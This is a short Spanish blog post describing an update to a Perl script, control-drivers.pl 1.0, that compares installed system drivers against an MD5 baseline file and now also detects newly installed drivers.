Pero le falta una cosa importante: si hay drivers nuevos no los procesa porque toma como referencia el archivo drivers.md5, y en base a su contenido comprueba si existe el driver correspondiente en el sistema, sin realizar un recorrido en éste. Por tanto, sólo procesa los que tiene en drivers.md5 ignorando los nuevos que pudieran existir. Esta funcionalidad es crítica y necesaria puesto que necesitamos saber si algún driver ha sido instalado en el sistema desde la última "foto" que le hicimos.
Para ofrecer esta nueva funcionalidad, he ampliado el script dando una opción más que es: Comprobar drivers nuevos. Además, como ahora he utilizado contadores para contar tanto los drivers en drivers.md5 como en el sistema, los resultados en general se han ampliado.
Como los cambios son significativos respecto al script anterior, a éste lo he llamado control-drivers.pl y su versión es la 1.0.
Y para evitar erratas producidas por blogger, el nuevo script se encuentra en este enlace.
Suscribirse a:
Entradas (Atom)